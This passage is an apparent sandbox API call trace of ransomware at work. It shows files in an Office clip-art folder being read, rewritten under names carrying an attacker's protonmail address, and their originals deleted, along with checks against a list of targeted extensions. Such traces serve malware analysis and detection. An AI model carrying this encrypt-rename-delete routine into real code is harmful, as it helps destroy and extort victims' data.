	[0208.248] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x1bba, lpOverlapped=0x0) returned 1
	[0208.515] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x1bc0, lpOverlapped=0x0) returned 1
	[0208.516] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.516] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.517] SetEndOfFile (hFile=0x380) returned 1
	[0208.517] CloseHandle (hObject=0x380) returned 1
	[0208.517] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.517] SetEndOfFile (hFile=0x37c) returned 1
	[0208.518] CloseHandle (hObject=0x37c) returned 1
	[0208.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1
	[0208.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.519] lstrlenW (lpString=".doc") returned 4
	[0208.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.519] lstrlenW (lpString=".docx") returned 5
	[0208.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.519] lstrlenW (lpString=".pdf") returned 4
	[0208.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.519] lstrlenW (lpString=".xls") returned 4
	[0208.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.519] lstrlenW (lpString=".xlsx") returned 5
	[0208.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.519] lstrlenW (lpString=".ppt") returned 4
	[0208.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.519] lstrlenW (lpString=".zip") returned 4
	[0208.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.519] lstrlenW (lpString=".rar") returned 4
	[0208.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.519] lstrlenW (lpString=".bz2") returned 4
	[0208.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString=".7z") returned 3
	[0208.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.520] lstrlenW (lpString=".dbf") returned 4
	[0208.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.520] lstrlenW (lpString=".1cd") returned 4
	[0208.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.520] lstrlenW (lpString=".jpg") returned 4
	[0208.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.520] lstrlenW (lpString=".doc") returned 4
	[0208.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString=".docx") returned 5
	[0208.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.520] lstrlenW (lpString=".pdf") returned 4
	[0208.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString=".xls") returned 4
	[0208.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.520] lstrlenW (lpString=".xlsx") returned 5
	[0208.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.520] lstrlenW (lpString=".ppt") returned 4
	[0208.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.520] lstrlenW (lpString=".zip") returned 4
	[0208.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.520] lstrlenW (lpString=".rar") returned 4
	[0208.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString=".bz2") returned 4
	[0208.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.520] lstrlenW (lpString=".7z") returned 3
	[0208.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.521] lstrlenW (lpString=".dbf") returned 4
	[0208.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.521] lstrlenW (lpString=".1cd") returned 4
	[0208.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0208.521] lstrlenW (lpString=".jpg") returned 4
	[0208.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.521] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.521] lstrlenW (lpString="HH01923_.WMF") returned 12
	[0208.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.521] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=26706) returned 1
	[0208.521] CloseHandle (hObject=0x37c) returned 1
	[0208.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220
	[0208.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.522] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.522] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0208.523] GetLastError () returned 0x0
	[0208.523] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x6852, lpOverlapped=0x0) returned 1
	[0208.524] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x6860, lpOverlapped=0x0) returned 1
	[0208.525] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.525] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.525] SetEndOfFile (hFile=0x380) returned 1
	[0208.526] CloseHandle (hObject=0x380) returned 1
	[0208.526] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.526] SetEndOfFile (hFile=0x37c) returned 1
	[0208.527] CloseHandle (hObject=0x37c) returned 1
	[0208.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1
	[0208.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.528] lstrlenW (lpString=".doc") returned 4
	[0208.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.528] lstrlenW (lpString=".docx") returned 5
	[0208.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.528] lstrlenW (lpString=".pdf") returned 4
	[0208.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.528] lstrlenW (lpString=".xls") returned 4
	[0208.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.528] lstrlenW (lpString=".xlsx") returned 5
	[0208.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.528] lstrlenW (lpString=".ppt") returned 4
	[0208.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.528] lstrlenW (lpString=".zip") returned 4
	[0208.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.528] lstrlenW (lpString=".rar") returned 4
	[0208.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.528] lstrlenW (lpString=".bz2") returned 4
	[0208.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.528] lstrlenW (lpString=".7z") returned 3
	[0208.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.528] lstrlenW (lpString=".dbf") returned 4
	[0208.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.528] lstrlenW (lpString=".1cd") returned 4
	[0208.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.529] lstrlenW (lpString=".jpg") returned 4
	[0208.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.529] lstrlenW (lpString=".doc") returned 4
	[0208.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString=".docx") returned 5
	[0208.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.529] lstrlenW (lpString=".pdf") returned 4
	[0208.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString=".xls") returned 4
	[0208.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.529] lstrlenW (lpString=".xlsx") returned 5
	[0208.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.529] lstrlenW (lpString=".ppt") returned 4
	[0208.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.529] lstrlenW (lpString=".zip") returned 4
	[0208.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.529] lstrlenW (lpString=".rar") returned 4
	[0208.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString=".bz2") returned 4
	[0208.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString=".7z") returned 3
	[0208.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.529] lstrlenW (lpString=".dbf") returned 4
	[0208.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.529] lstrlenW (lpString=".1cd") returned 4
	[0208.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0208.530] lstrlenW (lpString=".jpg") returned 4
	[0208.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.530] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.530] lstrlenW (lpString="HH02155_.WMF") returned 12
	[0208.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.530] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=2704) returned 1
	[0208.530] CloseHandle (hObject=0x37c) returned 1
	[0208.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220
	[0208.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.531] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.531] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0208.531] GetLastError () returned 0x0
	[0208.531] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0xa90, lpOverlapped=0x0) returned 1
	[0208.533] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xaa0, lpOverlapped=0x0) returned 1
	[0208.534] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.534] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.534] SetEndOfFile (hFile=0x380) returned 1
	[0208.534] CloseHandle (hObject=0x380) returned 1
	[0208.534] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.534] SetEndOfFile (hFile=0x37c) returned 1
	[0208.535] CloseHandle (hObject=0x37c) returned 1
	[0208.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1
	[0208.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.536] lstrlenW (lpString=".doc") returned 4
	[0208.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.536] lstrlenW (lpString=".docx") returned 5
	[0208.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.536] lstrlenW (lpString=".pdf") returned 4
	[0208.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.536] lstrlenW (lpString=".xls") returned 4
	[0208.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.536] lstrlenW (lpString=".xlsx") returned 5
	[0208.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.536] lstrlenW (lpString=".ppt") returned 4
	[0208.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.536] lstrlenW (lpString=".zip") returned 4
	[0208.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.536] lstrlenW (lpString=".rar") returned 4
	[0208.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.536] lstrlenW (lpString=".bz2") returned 4
	[0208.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.536] lstrlenW (lpString=".7z") returned 3
	[0208.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.537] lstrlenW (lpString=".dbf") returned 4
	[0208.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.537] lstrlenW (lpString=".1cd") returned 4
	[0208.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.537] lstrlenW (lpString=".jpg") returned 4
	[0208.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.537] lstrlenW (lpString=".doc") returned 4
	[0208.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString=".docx") returned 5
	[0208.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.537] lstrlenW (lpString=".pdf") returned 4
	[0208.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString=".xls") returned 4
	[0208.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.537] lstrlenW (lpString=".xlsx") returned 5
	[0208.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.537] lstrlenW (lpString=".ppt") returned 4
	[0208.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.537] lstrlenW (lpString=".zip") returned 4
	[0208.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.537] lstrlenW (lpString=".rar") returned 4
	[0208.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString=".bz2") returned 4
	[0208.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.537] lstrlenW (lpString=".7z") returned 3
	[0208.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.538] lstrlenW (lpString=".dbf") returned 4
	[0208.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.538] lstrlenW (lpString=".1cd") returned 4
	[0208.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0208.538] lstrlenW (lpString=".jpg") returned 4
	[0208.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.538] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.538] lstrlenW (lpString="HH02166_.WMF") returned 12
	[0208.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.538] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=1324) returned 1
	[0208.538] CloseHandle (hObject=0x37c) returned 1
	[0208.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220
	[0208.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.539] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.543] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
